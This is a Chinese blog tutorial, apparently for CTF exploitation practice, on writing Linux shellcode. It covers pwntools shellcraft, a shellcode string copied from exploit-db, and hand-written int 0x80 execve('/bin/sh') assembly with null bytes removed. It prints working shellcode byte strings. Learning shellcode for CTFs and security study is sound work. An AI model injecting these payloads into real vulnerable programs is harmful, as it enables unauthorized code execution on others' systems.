PWN-Shellcode编写
当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode。
一、获取集成写好的
1、From pwntools
(1)先设置目标机的参数
context(os=”linux”,arch=”amd64”,log_level=’debug’)
log_level设置日志输出的等级debug,这样pwntools会将整个完整的io过程都打印下来,使得调试更加方便,可以避免在完成在完成CTF题目时出现一些和IO相关的错误。
(2)获取shellcode
1)获得执行system(“/bin/sh”)汇编代码所对应的机器码
asm(shellcraft.sh())
1 | from pwn import * |
2.利用别人写好的。如exploit-db
利用搜索引擎检索别人写好的可以直接来用的 shellcode。
sh对应的shellcode
1 | shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34" |
二、自己写
或者可以用msf生成,或者自己反编译一下。
这里我们使用一段最简单的执行execve(“/bin/sh”)命令的语句作为shellcode。
以写一个execve(“/bin/sh”)为例子。
在当前位置执行“/bin/sh”,可以用execve(“/bin/sh”,0,0)
C语言利用代码:
1 | #include<stdlib.h> |
execve()用来执行参数filename字符串所代表的文件路径,第二个参数利用指针数组来传递执行文件的参数,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
execve()对应的中断向量表为:0x0b,对应eax
所以我们要做的就是写一个执行execve的汇编代码。
这里不得不提一下Int 0x80软中断调用。
第一步,就是需要将系统调用号加入到eax中。
第二步,ebx保存函数调用的第一个参数,ecx、edx、esi、edi分别对应这2345个参数。
如果参数超过5个,就必须将参数数组存储到内存中,而且必须将该数组的地址放在ebx中。
一旦加载寄存器后,就会调用int 0x80汇编指令来中断,强迫内核暂停手头上的工作并处理该中断。
故汇编代码的最后一步为
mov al,0xb
int 0x80
具体代码如下:
构造一个execve(“/bin/sh”,0,NULL)
1 | global _start |
运用nasm -f elf32 文件名.asm
ld -m elf_i386 -o 文件名 文件名.o
objdump -o 文件名
获得汇编的机器码,如下
我们可以看到上图画线处有\00,shellcode在使用时遇到\00会被截断,所以我们要避免出现\x00字节,我们知道00是出现在/bin/sh那里的,重新修改我们的汇编程序:
1 | global _start |
在终端中”/bin/sh”和”/bin//sh”的效果是一样的。
执行后如下:
所以shellcode就是
1 | shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80" |
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!